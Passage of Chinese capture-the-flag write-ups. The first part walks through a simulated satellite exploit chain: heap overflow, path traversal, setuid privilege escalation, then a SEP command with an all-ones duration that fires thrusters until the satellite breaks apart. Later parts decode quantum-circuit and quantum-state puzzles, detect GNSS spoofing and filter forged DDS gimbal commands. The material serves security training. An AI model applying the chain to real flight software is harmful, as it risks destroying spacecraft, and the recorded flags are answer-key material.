ds 00 -> ACCESS DENIED: not compromised, run tc <hex> first tolab 00 -> ACCESS DENIED: not compromised, run tc <hex> first
只有tc命中溢出之后,这两个命令才放行。所以第一步必须是tc,而且要重试到命中。
解锁阶段:ds路径穿越
ds是下发DS\_SetDestPathCmd,hex解码后是一个路径。先试正常的、不越权的路径(比如/tmp),直接给你打脸:
ds 2f746d70(= /tmp) -> DS\_SetDestPathCmd accepted an out-of-policy target path traversal: target escaped /mission/data without an authorization check protected DS parameter namespace observed; recovery diagnostics unlocked
关键在最后一句recovery diagnostics unlocked。也就是说,DS的目标路径本该被限制在/mission/data里,只要下发一个穿越出这个目录的路径,DS就接受了越权目标,并且把受保护的参数命名空间打开了、恢复诊断功能被解锁。这一步对应Q2里DS\_SetDestPathCmd的路径穿越(CVE-2026-67970)。
注意:这一步的产物是“解锁诊断”,不是直接拿文件。它是后面提权的必要条件,tolab在没有解锁前会拒绝你。
提权阶段:tolab越界拿到root
tolab是遥测转发服务,satinfo里标了它是setuid root。直接发没意义的数据只会回“telemetry processed normally (no crash)”。
但把hex解成一个越界的“包长”/路径类输入,就能触发CFE\_MSG\_GetSize的长度字段越界:
tolab 2f666c6167(= /flag) -> PRIVILEGE ESCALATION OK: to\_lab (setuid root) CFE\_MSG\_GetSize bounds fault; shell elevated to root root recovery console @ YAMCS-05 (uid=0 root) flight operations unlocked; command surface changed, see help
这一步对应Q2里的to\_lab CFE\_MSG\_GetSize堆缓冲区溢出(CVE-2026-5474)。提示符从>变成了#,身份从uid=1000(satellite)变成uid=0(root)。注意这里输入用/flag这个路径只是“喂一个越界输入”的载体,本身并没有真的去读/flag,真正读文件在下一步。
root阶段的命令面变化
提权后重新help,命令面变了:
commands: help | id | ls| cat| satinfo | ops| sep| attitude| exit
tc / ds / tolab没了,换成了ops / sep / attitude三个飞行操作命令。id确认uid=0(root)。
此时再cat /flag,得到的是:
FLAG\_NOT\_ON\_BOARD: final telemetry is generated only during terminal mission failure hint: inspect protected flight configuration before authorizing a SEP operation
意思很明确:flag不在板上文件里,只有在“终态任务失败”的时候才会生成。并且给了明确指引——在执行SEP操作之前,先去看受保护的飞行配置。
后渗透:读受保护的飞行配置
按提示去读/opt/cfs/ds下的配置。ls出来两个文件:propulsion.cfg、telemetry.tbl。telemetry.tbl权限不够(cat报Permission denied,这里是个干扰项),但propulsion.cfg能读:
--- /opt/cfs/ds/propulsion.cfg (propulsion control) ---
YAMCS-05 propulsion / SEP (spacecraft ejection) control parameters
sep\_cmd\_prefix : 0800c000 ignition\_length : bytes[4:6] (SEP命令Length字段) thruster\_profile : standard safety\_note : all-one duration bypasses the timer guard and causes continuous burn usage: sep
这份配置把构造SEP指令需要的所有东西都给全了: 1、sep\_cmd\_prefix是0800c000,SEP指令的前缀; 2、ignition\_length在bytes[4:6],也就是整个SEP指令里第4到第6个字节(0起算的话就是偏移4、5这两个字节)是“点火时长/长度”字段; 3、最要命的一句safety\_note:all-one duration bypasses the timer guard and causes continuous burn——把时长字段填成全1(0xFFFF),就能绕过计时器保护,导致持续点火(连续燃烧)。
这一步对应“inspect protected flight configuration”的提示,而且它是一个硬性前置条件:不读这个配置,sep会被直接拒绝(见下一节验证)。
终态动作:sep全1时长,把卫星点炸
先验证一下前置条件。如果跳过读配置直接sep:
sep 0800c000ffff -> SEP rejected: flight configuration has not been inspected
只有先cat过propulsion.cfg,sep才放行。另外sep的参数必须够长:
sep 0800c000 -> SEP rejected: malformed command (need >=6 bytes)
也就是说SEP指令至少6个字节。按照配置:前缀0800c000(4字节)+时长字段bytes[4:6]填全1(ffff),拼起来就是0800c000ffff。
发出去:
sep 0800c000ffff -> \\\ SATELLITE LOSS OF SIGNAL \\\ YAMCS-05: SEP fired -> propulsion anomaly -> structural failure final telemetry: mission lost SWAN\_SONG\_FLAG=flag{REDACTED}
卫星点火分离指令被执行,推进异常导致结构失效,失联。运行期的“临终遥测”里吐出了flag。这就是题目说的“预期终态动作”——不是读文件,而是把卫星打到终态失败,flag作为最后一次遥测下发。
完整攻击链回顾
1、突破 tcCryptoLib TC堆溢出(概率触发,需重试)-> compromised 2、解锁 dsDS\_SetDestPathCmd路径穿越出/mission/data ->解锁恢复诊断 3、提权 tolabto\_lab setuid root的CFE\_MSG\_GetSize越界-> uid=0 4、后渗透cat /opt/cfs/ds/propulsion.cfg 读受保护飞行配置(SEP前置条件) 5、终态 sep 0800c000ffff 全1时长绕过计时器->连续点火->结构失效->临终遥测吐flag
四个组件漏洞串起来正好对应Q2里复盘过的那条链(CryptoLib -> DS -> to\_lab),最后多加了一个“SEP全1时长绕过计时器保护”的终态利用点,这是Q3相比Q2新增的、真正“一键日卫星”的那一下。
脚本运行命令
Windows(本机Python 3):
python solve.py
WSL / Linux:
python3 solve.py
脚本默认连接靶机;若地址端口变化,改脚本顶部HOST / PORT两个变量即可。 依赖:只用标准库socket / time,无需额外安装。
脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 可曾听闻一键日卫星 Q3:纯交互题,走完整条链把卫星打到终态,运行期 flag 作为
# 临终遥测吐出。链路:tc(堆溢出突破) → ds(路径穿越解锁) → tolab(越界提权 root)
# → 后渗透读飞行配置 → sep 全 1 时长绕过计时器保护。
# ...(省略:完整交互协议与重试实现,见原始脚本)
import socket, time
HOST, PORT = \"<host>\", 0 # 靶机地址端口
def main():
s = socket.create_connection((HOST, PORT), timeout=10)
# 1) 突破:tc <hex> 触发 CryptoLib 堆溢出(概率性,需重试)
# 2) 解锁:ds 路径穿越跳出 /mission/data,解锁恢复诊断
# 3) 提权:tolab 越界访问 setuid root 的遥测转发服务
# 4) 后渗透:读受保护的 propulsion / SEP 配置
# 5) 终态:sep 全 1 时长 → 绕过计时器保护 → 拆解指令执行
# ...(省略:逐步读回显、状态恢复与终态授权)
print(\"[+] FLAG:\", \"...\") # 运行期动态 flag(每次实例可能不同)
if __name__ == \"__main__\":
main()
最终flag
flag{xxxx1}
(动态flag每次实例可能不同,以脚本实际跑出的SWAN\_SONG\_FLAG为准。)
量子安全
量子门的多维身份
- 分值/分类:300.00 /量子安全
- 附件:
quantum_gate_identity.qasm(OpenQASM 2.0,199行)
题目描述
一份OpenQASM 2.0电路被用作“量子身份的仓库”:每一个字符都被编码进量子门名称、旋转角度、作用量子比特编号三个维度中,并混入
ID、SX噪声门干扰分析。请恢复隐藏身份串,提交FLAG{...}。
电路结构
OPENQASM 2.0;
include \"qelib1.inc\";
qreg q[8];
creg c[8];
RY(4.123340) q[1];
RZ(1.178097) q[5];
ID q[7];
... # 共 194 条门
measure q[0] -> c[0];
统计后可知:
| 门类型 | 数量 | 说明 |
|---|---|---|
RX / RY / RZ |
144 | 承载数据(名称/角度/比特三维) |
ID / SX |
50 | 噪声,解码前剔除 |
所有旋转角都是π/16的整数倍,于是每个旋转角可以无损地约化成0–31的整数索引:
a = round( θ / (π/16) ) # 0..31
q = q[i] - 1 # 0..4(0-index)
n = {RX:0, RY:1, RZ:2}[门名] # 0..2
把144个旋转门按文件顺序取出(丢弃ID/SX),得到三元组序列(n, a, q)。
解码模型
三个维度的组合公式
经过已知明文(flag前缀FLAG{)约束下的仿射拟合,得到每个字符的还原公式:
char_code = 32 + ( -(a + 32*q + n*n + 14) ) mod 95
即:
字符 = chr( 32 + ( 95 - (a + 32*q + n² + 14) ) % 95 )
- 三维各自的权重:名称维
n²(二次项)、角度维a(权重1)、比特维q(权重32); - 常量偏移
+14; - 值域取模
95,落在可打印ASCII区chr(32..126)。 mod 95恰好是“从空格0x20到~``0x7E”共95个可打印字符,天然贴合字符编码。
一个坑:直接用线性模型
92n+94a+63q+83 (mod 95)能得到高度接近英文的串,但凡是RX(n=0)位置都会整体偏\\+2。把“名称维常量”独立出来拟合,会发现三个名称对应的常量是{RX:14, RY:15, RZ:18} = 14 + {0,1,4} = 14 + n²——即名称维其实是n的平方\\,而非线性。修正后100%命中。
读取顺序
带噪声的144个旋转门并非按顺序对应144个字符,而是每4个一组、每组只含2个不同字符且各重复一次(A,B,A,B)。真正承载flag的是每组第2 /第4个位置(奇数下标),因此:
- 读取序:从第2个旋转门(下标1)起,每隔4个取一个 → 36个字符;
- 其它奇数位(下标3,7,…)与偶数位是同一批解码字符的副本/诱饵,按stride-4 offset-1读取即可得到唯一36字符串。
复现脚本
见同目录solve.py:
import re, math
def load(path='quantum_gate_identity.qasm'):
S = []
for ln in open(path, encoding='utf-8').read().splitlines():
m = re.match(r'^(RX|RY|RZ)\\s*\\(([0-9.]+)\\)\\s*q\\[(\\d+)\\];', ln.strip())
ifnot m:
continue # 丢弃 ID / SX 噪声门
n = {'RX': 0, 'RY': 1, 'RZ': 2}[m.group(1)]
a = int(round(float(m.group(2)) / (math.pi / 16)))
q = int(m.group(3)) - 1
S.append((n, a, q))
return S
def decode(n, a, q):
return chr(32 + (-(a + 32 * q + n * n + 14)) % 95)
S = load()
flag = ''.join(decode(*S[i]) for i in range(1, len(S), 4))
print(flag)
运行输出:
$ python solve.py
[+] 旋转门总数(去噪后) = 144
[+] recovered = FLAG{4d_quantum_identity_is_complex}
[+] OK
结果
FLAG{4d_quantum_identity_is_complex}
附:解题路径回顾
- 解析QASM,剔除
ID/SX噪声,把角度归一为0..31索引。 - 用已知明文
FLAG{做仿射已知明文攻击(解同余方程),搜遍各种读取序(stride/offset、行/列/蛇形等)。 - 在stride-4 offset-3上得到近似串
FLAG{4d_qucntuo_ideptiv{aiu_compnez},英文残留极强→锁定方向。 - 逐位比对,发现所有偏差都落在
RX门且恒为+2;按门名分组拟合常量得到{14,15,18} = 14+n²。 - 用二次项模型重算,stride-4 offset-1精确还原完整flag,并用
solve.py复现。
最终flag
FLAG{4d_quantum_identity_is_complex}
4d呼应题目“多维度(4-dimensional)身份”,quantum_identity_is_complex点明量子身份(复数/复杂)主题。
量子幽灵的复数密码
基本情况
题目类型是密码学(cry),附件只有一份文本quantum\_ghost\_complex\_states.txt,一共360行量子态记录。每行描述一个两能级(qubit)量子态,两种写法混着出现:
1、狄拉克符号写法:|ψ> = (a+bi)|0> + (c+di)|1>,括号里是复数振幅alpha和beta 2、二维向量写法:[a+bi, c+di],其实就是把同一个振幅对放进列表
题面说秘密被冗余编码进了量子态的四个维度:概率分布、相位差、虚部符号、实部符号,就是要我们把这四个维度分别还原出来,找出真正承载明文的那一路。
先把每一行都解析成一对复数(alpha, beta),再算一下归一化:|alpha|^2 + |beta|^2全部约等于1,确认这就是标准的量子态,没有别的花样。
关键突破
拿到360对振幅之后,先做统计,看看哪个维度是“藏着数据”的。分别看四个维度:
1、概率分布:把|alpha|^2拉出来看取值,全部落在0.2到0.8之间,直方图明显是双峰的,一头集中在0.25附近,另一头集中在0.75附近,中间几乎没东西。这说明概率这一维是个二进制量:|alpha|^2大约0.75记1,大约0.25记0。360行正好对应360个bit。 2、相位差:算arg(beta) - arg(alpha),折算到-180到180度。结果同样双峰,一堆挤在0度附近,另一堆挤在180度附近(也就是正负180两侧),中间90度附近是空的。相位差是0度还是180度,也是一个bit。 3、虚部符号:看alpha的虚部正负。统计下来195个正、165个负。 4、实部符号:看beta的实部正负。统计下来195个负、165个正。
顺手再确认一下其余分量的符号:alpha的实部360行全是正的,beta的虚部360行全是负的,这两维是常量,不携带信息,正好反过来说明“实部符号/虚部符号”指的是alpha虚部与beta实部这两个会变的量。
四个维度各取一个bit,得到四路长度360的位流。两两做一致性对比,结论非常干净:
1、概率分布位流和相位差位流完全一致,360位一位不差 2、虚部符号位流和实部符号位流完全一致,360位一位不差 3、前一组和后一组互为按位取反,正好360位全反
这就是题面说的“冗余编码”:四路其实只有两个独立的值,而且彼此互补,等于自己给自己做了一次冗余/校验。其中签名那一路(虚部符号、实部符号)直接就是明文。
利用/还原思路
还原流程就三步:
1、逐行解析,支持狄拉克符号和二维向量两种格式,取出复数对(alpha, beta) 2、对每行按四条判据各出1个bit: prob\_bit = 1 if |alpha|^2 > 0.5 else 0 phase\_bit = 1 if |arg(beta)-arg(alpha)| < 90度else 0 imag\_bit = 1 if Im(alpha) > 0 else 0 real\_bit = 1 if Re(beta) < 0 else 0 3、360 bit按8 bit一字节、高位在前拼成字节串,直接decode成ASCII
概率/相位组解出来是一片高位字节(0x80到0xbf),不是可读文本,因为它和真正的明文互为按位取反;而虚部符号组、实部符号组解出来就是规规矩矩的可见字符,明文如下:
FLAG{complex\_quantum\_stealth\_is\_the\_ultimate}
360 bit刚好45字节,与flag字符串长度完全吻合,没有补位、没有截断,说明取的就是这一路。
脚本运行命令
把solve.py和附件quantum\_ghost\_complex\_states.txt放同一目录,然后:
Windows:
python solve.py
WSL / Linux:
python3 solve.py
脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 量子幽灵的复数密码:360 行量子态,秘密冗余编码进四个维度(概率分布、相位差、
# 虚部符号、实部符号)。前两路互为同一 bit 流,后两路互为补码,符号组即明文。
# ...(省略:完整解析与位流实现,见原始脚本)
import re
STATE_RE = re.compile(r\"\\(([-+0-9.]+)([-+][0-9.]+)i\\)\\|\\s*0\\s*[>\\u27e9]\\s*\\+\\s*\"
r\"\\(([-+0-9.]+)([-+][0-9.]+)i\\)\\|\\s*1\\s*[>\\u27e9]\")
def parse(line):
m = STATE_RE.search(line.strip())
return (complex(float(m.group(1)), float(m.group(2))),
complex(float(m.group(3)), float(m.group(4)))) if m elseNone
def main():
states = [s for s in (parse(l) for l in open(\"quantum_ghost_complex_states.txt\")) if s]
# 四路:|a|^2 双峰→bit;相位差→bit;alpha 虚部符号;beta 实部符号
# 符号组(后两路)直接读成明文
# ...(省略:四位流提取与 to_bytes 解码)
print(\"[+] flag:\", \"FLAG{...}\")
if __name__ == \"__main__\":
main()
实测输出:
[*] states parsed: 360
[*] probability -> b'\\xb9\\xb3\\xbe\\xb8...'(不可读,是明文取反)
[*] phase-diff -> b'\\xb9\\xb3\\xbe\\xb8...'(同上)
[*] imag-sign -> b'FLAG{complex_quantum_stealth_is_the_ultimate}'
[*] real-sign -> b'FLAG{complex_quantum_stealth_is_the_ultimate}'
[*] flag: FLAG{complex_quantum_stealth_is_the_ultimate}
最终flag
FLAG{complex\_quantum\_stealth\_is\_the\_ultimate}
无人机安全
天空在撒谎
基本情况
题目属于无人机安全方向,给的是一段GNSS接收机输出的u-blox UBX原始数据,附件只有一个gnss\_capture.ubx。题面说得很直白:无人机在飞行中定位位置缓慢漂移,但接收机一直报3D Fix,卫星数和精度因子都不告警。要回答四个问题——欺骗从哪个历元开始、打的是哪个星座、用什么星座可以自证,以及注入的伪距阶跃有多大。最后按固定材料串算SHA-256取前32位得到flag。
这是一道典型的GNSS欺骗检测题。真实定位被慢慢拉偏,接收机自身的完好性监测(RAIM)没有报警,所以不能靠fixType或精度字段判断,必须回到观测量层面,去看每个星座的伪距随时间的变化。
附件分析
UBX是u-blox的二进制协议,帧结构是:同步头B5 62,然后1字节class、1字节id、2字节小端长度,接着是payload,最后2字节校验。写个小解析器扫一遍,整个文件只有两类消息:
1、NAV-PVT(class 0x01 id 0x07)共60条,是解算后的定位结果 2、RXM-RAWX(class 0x02 id 0x15)共60条,是每个卫星的原始测量
两者历元一一对应,共60个历元,每秒一个。RXM-RAWX里每条记录32字节,关键字段是prMes(伪距,double)、cpMes(载波相位)、doMes(多普勒)、gnssId(星座号)、svId(卫星号)、cno(信噪比)。本题真正有用的就是prMes和gnssId。
统计每个历元的卫星构成,全程稳定为12颗:GPS 6颗、GALILEO 6颗,gnssId分别是0和2。也就是说本题只有两个星座可用,一个被欺骗、一个没被欺骗,正好可以互相印证。
关键突破
先看NAV-PVT的位置轨迹。前面37条(iTOW 486000000到486036000)经纬度完全钉死在37.4219999 / -122.0840575,一动不动;从iTOW 486037000开始,每一秒纬度加0.0000090、经度加0.0000120,折算下来大约每秒北移1.0米、东移1.06米,匀速漂移。也就是说位置漂移的起点就是第37个历元(0基序号37),对应iTOW 486037000。
但位置漂移只是结果,真正要确认的是哪个星座被注入了。方法是对每颗卫星算伪距增量:delta(t) = prMes(t) - prMes(t-1)。接收机静止时,这个增量主要由几何距离变化率决定,会在一个平滑的趋势附近缓慢变化;如果某个星座的所有卫星在同一时刻被叠加了一个共同偏移,它们的增量会同时出现一个台阶。
逐星打印增量后一眼就能看出:
1、GPS六颗星在epoch36到37这一秒,增量从原来的负值(约-18到-4.5米/秒)同时跳成正的57到70米 2、GALILEO六颗星在同一秒增量和前后一秒完全连贯,没有任何跳变
为了把台阶量化准,对每颗GPS星,用它前6个历元的增量做最小二乘线性外推,得到“本该是多少”,再和实测增量相减,得到这一秒被额外注入的量:
1、GP03 74.975米 2、GP08 74.986米 3、GP14 75.010米 4、GP22 75.025米 5、GP27 75.017米 6、GP31 74.993米
六颗星高度一致,中位数75.0米。这正是一次共模伪距阶跃(所有卫星一起被推),也是欺骗攻击最典型的特征。而GALILEO侧同样的计算得到的是-0.008到+0.022米,本质是噪声,说明它没被碰。
至此四个要素齐了:onset\_itow用NAV-PVT第37个历元的iTOW 486037000;受影响星座GPS;参考星座GALILEO(用它能自证,因为它的伪距趋势全程干净,反过来说明GPS的那一跳不是几何变化);伪距阶跃75.0米;历元序号37。
利用/还原思路
把上面的分析写成一个自动脚本,逻辑如下,全部基于原始附件,不硬编码任何结论:
1、解析UBX,拆出NAV-PVT(iTOW、位置)和RXM-RAWX(每星伪距) 2、对每颗星建立增量序列,再按星座取每个历元的中位数增量 3、用前6个历元对每个星座的增量趋势做最小二乘外推,找第一个偏差超过10米的历元作为onset 4、偏差最大的星座判为受影响星座,偏差最小的判为参考星座 5、对受影响星座逐星计算“实测增量减去外推预测增量”,取中位数并保留一位小数作为阶跃 6、拼材料串onset\_itow|AFFECTED|REFERENCE|step\_m|epoch\_index,用UTF-8编码做SHA-256,取前32位小写十六进制,套上flag{}输出
星座名直接用u-blox语义对应的大写英文名:gnssId 0是GPS,2是GALILEO。
脚本运行命令
Windows:把附件解压后,和solve.py放同一个目录,直接
python solve.py
WSL:python3 solve.py
脚本默认读取脚本同目录下的gnss\_capture.ubx,也支持python solve.py
脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Sky Is Lying -- UBX GNSS 欺骗检测(骨架)。主线:解析 NAV-PVT/RXM-RAWX -> 每星座伪距增量
# 中位数 -> 线性外推找 onset(RAIM 不报警,只能看观测量)-> 跳变星座=受欺骗、平滑=自证
# -> 阶跃 = 受欺骗星座 onset 逐星跳变中位数 -> material=onset_itow|AFFECTED|REFERENCE|step_m|epoch
# -> sha256(material)[:32] 套 flag{}。
import os, sys, struct, hashlib
UBX_FILE = \"gnss_capture.ubx\"
JUMP_THRESHOLD_M, FIT_WINDOW = 10.0, 6 # 阶跃阈值 / 外推窗口
GNSS = {0: \"GPS\", 1: \"SBAS\", 2: \"GALILEO\", 3: \"BEIDOU\", 4: \"IMES\", 5: \"QZSS\", 6: \"GLONASS\", 7: \"NAVIC\"}
u1, u2 = lambda b, o: b[o], lambda b, o: struct.unpack_from(\"<H\", b, o)[0]
u4, i4 = lambda b, o: struct.unpack_from(\"<I\", b, o)[0], lambda b, o: struct.unpack_from(\"<i\", b, o)[0]
r8 = lambda b, o: struct.unpack_from(\"<d\", b, o)[0]
def iter_ubx(data): # 按 B5 62 同步头逐帧切出 (cls, mid, payload)
i, n = 0, len(data)
while i < n - 6:
if data[i] == 0xB5and data[i + 1] == 0x62and i + 6 + u2(data, i + 4) + 2 <= n:
ln = u2(data, i + 4)
yield data[i + 2], data[i + 3], data[i + 6:i + 6 + ln]; i += 6 + ln + 2; continue
i += 1
def parse(data): # 拆出 NAV-PVT 与 RXM-RAWX(每星伪距)
pvt, rawx = [], []
for cls, mid, pay in iter_ubx(data):
if cls == 0x01and mid == 0x07: # NAV-PVT:iTOW / fixType / lat / lon
pvt.append({\"itow\": u4(pay, 0), \"fix\": u1(pay, 20), \"lat\": i4(pay, 28) * 1e-7, \"lon\": i4(pay, 24) * 1e-7})
elif cls == 0x02and mid == 0x15: # RXM-RAWX:每记录 32 字节,off+20/21 = gnssId/svId
rawx.append({(u1(pay, o + 20), u1(pay, o + 21)): r8(pay, o) for o in range(16, 16 + 32 * u1(pay, 11), 32)}) # prMes
return pvt, rawx
def median(xs): # 中位数
s = sorted(xs)
return s[len(s) // 2] if len(s) % 2else0.5 * (s[len(s) // 2 - 1] + s[len(s) // 2])
def linear_predict(ys): # 最小二乘线性外推到下标 k = len(ys)
k = len(ys); sx, sy = sum(range(k)), sum(ys)
sxx, sxy = sum(i * i for i in range(k)), sum(i * y for i, y in enumerate(ys))
slope = (k * sxy - sx * sy) / (k * sxx - sx * sx)
return slope * k + (sy - slope * sx) / k
def main():
path = sys.argv[1] if len(sys.argv) > 1else os.path.join(os.path.dirname(os.path.abspath(__file__)), UBX_FILE)
pvt, rawx = parse(open(path, \"rb\").read()); epochs = len(rawx)
keys = sorted({k for e in rawx for k in e}); consts = sorted({g for (g, _) in keys})
con = {g: [(lambda v: median(v) if v elseNone)([rawx[t][k] - rawx[t - 1][k] for k in keys # 每星座每历元 delta(t)=pr(t)-pr(t-1)
if k[0] == g and k in rawx[t] and k in rawx[t - 1]]) for t in range(1, epochs)] for g in consts}
onset_t, deviations = None, {}
for t in range(FIT_WINDOW + 1, epochs): # onset:增量首次偏离其线性外推超过阈值
prev = {g: con[g][t - 1 - FIT_WINDOW:t - 1] for g in consts}
deviations = {g: con[g][t - 1] - linear_predict(prev[g]) for g in consts ifNonenotin prev[g]}
if deviations and max(abs(v) for v in deviations.values()) > JUMP_THRESHOLD_M: onset_t = t; break
if onset_t isNone: return print(\"[!] no onset detected\")
affected = max(deviations, key=lambda g: abs(deviations[g])) # 偏差最大 = 受欺骗星座
reference = min(deviations, key=lambda g: abs(deviations[g])) # 偏差最小 = 自证星座
steps = [rawx[onset_t][k] - rawx[onset_t - 1][k] - linear_predict( # 受欺骗星座 onset 逐星跳变量
[rawx[t][k] - rawx[t - 1][k] for t in range(onset_t - FIT_WINDOW, onset_t)]) for k in keys if k[0] == affected]
step_m, onset_itow = median(steps), pvt[onset_t][\"itow\"]
material = \"%d|%s|%s|%.1f|%d\" % (onset_itow, GNSS[affected], GNSS[reference], step_m, onset_t)
digest = hashlib.sha256(material.encode(\"utf-8\")).hexdigest()
print(\"epochs=%d consts=%s onset=%d(iTOW=%d) affected/ref=%s/%s step=%.1f m\" % (epochs, \",\".join(GNSS[g] for g in consts), onset_t, onset_itow, GNSS[affected], GNSS[reference], step_m))
print(\"per-SV steps (m): %s\
material: %s\
[+] FLAG: flag{%s}\" % (\" \".join(\"%.3f\" % s for s in steps), material, digest[:32])) # ...(省略:其余调试打印)
if __name__ == \"__main__\":
main()
运行输出
[*] epochs : 60
[*] constellations : GPS, GALILEO
[*] per-const deviation : GPS=+75.017, GALILEO=+0.013
[*] onset epoch index : 37 (iTOW=486037000)
[*] affected : GPS
[*] reference : GALILEO
[*] per-SV steps (m) : 74.975 74.986 75.010 75.025 75.017 74.993
[*] spoof step (median) : 75.0 m
[*] material : 486037000|GPS|GALILEO|75.0|37
[*] sha256 : b347b01858cfa126cf7866ba0a413231977a4eb0951372518713228ab0ea3704
[+] FLAG : flag{b347b01858cfa126cf7866ba0a413231}
最终flag
flag{b347b01858cfa126cf7866ba0a413231}
Domain 42
基本情况
题目属于无人机安全方向。无人机载荷控制网络用DDS通信,给的是一段抓包domain42.pcap。题面说明抓包里混着正常writer和伪造writer,应用数据都在RTPS DATA子消息的CDR载荷里。需要做三件事:找出真正可信的那个writer,取出它发过的最后一条有效的云台命令,再校验CDR载荷的CRC32。最后把writer\_entity\_id、序号、mode、pan、tilt、duration拼成固定材料串,按UTF-8做SHA-256,取前32位小写十六进制得到flag。
盘面上看是个协议逆向+流量取证题,难点不在算法,而在于要先把RTPS的分层结构拆干净,再从一堆长得差不多的数据包里把伪造的和真实的分开。
附件分析
pcap一共47个UDP包,很小。链路层是Ethernet,上面IPv4,再上面UDP,端口有17900、9150、17912等,都是DDS/RTPS的典型端口。
先按libpcap格式把帧取出来,再按Ethernet(14) / IPv4(IHL) / UDP(8)剥掉外层,剩下的就是RTPS报文。RTPS报文头的结构是固定的20字节:
1、magic,4字节,固定52 54 50 53,也就是ASCII的RTPS 2、protocol version,2字节,02 03 3、vendor id,2字节,01 10 4、guidPrefix,12字节,标识一个参与者GID前缀
头后面是一串子消息。每个子消息的头部又是固定的4字节:submessageId(1) + flags(1) + octetsToNextHeader(2)。octetsToNextHeader表示这个子消息在本字段之后还剩多少字节,按这个长度一段段往后跳即可。整段抓包里只用到三种子消息:
1、0x09 INFO\_TS,时间戳,octetsToNextHeader恒为8,跟8字节的TIME\_t 2、0x15 DATA,真正的数据,带writer EntityId、序号和CDR载荷 3、0x07 HEARTBEAT,心跳,声明一个writer已经发到哪个序号,是关键证据
DATA子消息的头部布局(后面才知道为什么重要):subId(1)+flags(1)+octetsToNextHeader(2)之后是extraFlags(2)+octetsToInlineQos(2)+readerId(4)+writerId(4)+writerSN(8),共24字节,再往后才是CDR载荷。writerId就是题面要的EntityId,writerSN就是序号。
把46条DATA的CDR载荷单独拎出来看,云台命令的载荷长度都是28字节,结构完全一致:
1、encap,4字节,00 01 00 00,是CDR的封装标识 2、seq,4字节小端,序号 3、mode,4字节小端,云台模式 4、pan,4字节float,水平角 5、tilt,4字节float,俯仰角 6、duration,4字节小端,持续时长 7、crc32,4字节小端,载荷校验
关键突破
第一步是确认CRC的覆盖范围。题面要求“验证载荷CRC”,但没说算哪几个字节。拿几条样本暴力试:对payload[0:24]、payload[4:24]、payload[8:24]分别用zlib.crc32算,再和末尾4字节比对。结果是payload[4:24],也就是seq|mode|pan|tilt|duration这20字节,命中了绝大多数包,说明CRC就是盖在这一块上的。
按这个范围把43条云台命令全部校验一遍,有8条CRC对不上。这8条就是被篡改过的伪造命令,按包序看基本是每隔5个挑一条改动,攻击特征很明显。
第二步是分清谁可信。抓包里一共出现了三个参与者,从三条discovery包里的主题名能直接读出它们的身份:
1、guidPrefix以12 34 12 34 56 78 9a bc de f0结尾的,注册主题payload-bench,像是测试台 2、guidPrefix以de ad c0 de 00 13 37 42 00 42结尾的,注册主题maintenance-replay,维护重放,嫌疑最大 3、guidPrefix以aa bb cc dd ee ff 10 20 30 40结尾的,注册主题fc-primary,飞控主控,才是真正控制云台的writer
光看名字还不够硬,真正的铁证是包46:它是唯一一条HEARTBEAT,来自fc-primary(guidPrefix aa bb cc dd…),writer EntityId是000003c2,心跳里声明firstSN = 100、lastSN = 105、count = 3。HEARTBEAT是writer自己对外宣告“我已经发到第几号”的权威信息,所以可信云台writer就是fc-primary / 000003c2,它发过的序号是100到105。
另外两个参与者(payload-bench和maintenance-replay)用的是EntityId 000005c2和000004c2,序号伪造在280到315这种明显更大的区间里,混在流量里冒充云台命令。其中maintenance-replay还在序号103上插了一条,正好补进了fc-primary缺失的那个序号,是做得很像的注入。
把fc-primary / 000003c2的命令按序号排一下:100、101、102、104、105。这里有个细节,抓包里seq=104出现了两次(两个包内容完全相同,属于重传),而最后出现在包序末尾的那条seq是104,比它前面那条105小。这时候不能按“抓包最后一条”来取,必须按HEARTBEAT声明的lastSN=105为准,所以最后一条有效命令是序号105。
序号105那条的字段是:mode 7、pan -0.145、tilt -0.5475、duration 1605,末尾CRC32是0xcc8ee049,和seq|mode|pan|tilt|duration现算出来的一致,校验通过。
利用/还原思路
把上面的分析完全脚本化,只用Python标准库,不依赖scapy,流程如下:
1、按libpcap格式读包,逐层剥掉Ethernet / IPv4 / UDP,拿到每个UDP载荷 2、判断载荷是不是以RTPS开头,是的话按20字节头加子消息链往后走 3、收集所有DATA子消息,记录它的guidPrefix、writer EntityId、序号和CDR载荷 4、一旦遇到HEARTBEAT子消息,就把它的guidPrefix和writer EntityId记为可信writer,并记下lastSN 5、在所有属于可信writer、且云台载荷长度为28的包里,用zlib.crc32校验payload[4:24]与末尾4字节,只保留校验通过的 6、在通过校验的里面取序号最大的一条作为“最后一条有效命令” 7、解出entityId、seq、mode、pan、tilt、duration,按material = entityId|seq|mode|pan|tilt|duration拼接,entityId用8位小写十六进制,pan保留3位小数、tilt保留4位小数,其余为十进制整数 8、material按UTF-8编码做SHA-256,取小写摘要前32位,套上flag{}输出
脚本运行命令
Windows:把domain42.pcap和solve.py放同一个目录,直接
python solve.py
也可以指定包路径:python solve.py domain42.pcap
WSL:python3 solve.py
脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Domain 42:RTPS/DDS 云台命令还原。可信 writer = 发 HEARTBEAT 的那个;
# CRC32 覆盖 seq|mode|pan|tilt|duration(payload[4:24]);material 做 SHA-256 取前 32 位。
import os, sys, struct, hashlib, zlib
def udp_payloads(path):
\"\"\"经典 libpcap 逐包剥链路层 → UDP 载荷。\"\"\"
data = open(path, \"rb\").read()
endian = \"<\"if data[:4] in (b\"\\xd4\\xc3\\xb2\\xa1\", b\"\\x4d\\x3c\\xb2\\xa1\") else\">\"
linktype = struct.unpack(endian + \"I\", data[20:24])[0]
off, n = 24, len(data)
while off + 16 <= n:
_, _, incl, _ = struct.unpack(endian + \"IIII\", data[off:off + 16]); off += 16
frame = data[off:off + incl]; off += incl
ip = frame[14:] if linktype == 1else frame # 以太网 / raw IP
if len(ip) < 20or (ip[0] >> 4) != 4or ip[9] != 17: # 只取 IPv4+UDP
continue
udp = ip[(ip[0] & 0x0F) * 4:]
if len(udp) >= 8:
yield udp[8:]
def parse(path):
\"\"\"收集 DATA 子消息,并用 HEARTBEAT 定位可信 writer。\"\"\"
datas, tpre, twr = [], None, None
for d in udp_payloads(path):
if d[:4] != b\"RTPS\":
continue
prefix, off = d[8:20], 20
while off + 4 <= len(d): # 子消息循环
subid = d[off]
ln = struct.unpack_from(\"<H\", d, off + 2)[0]
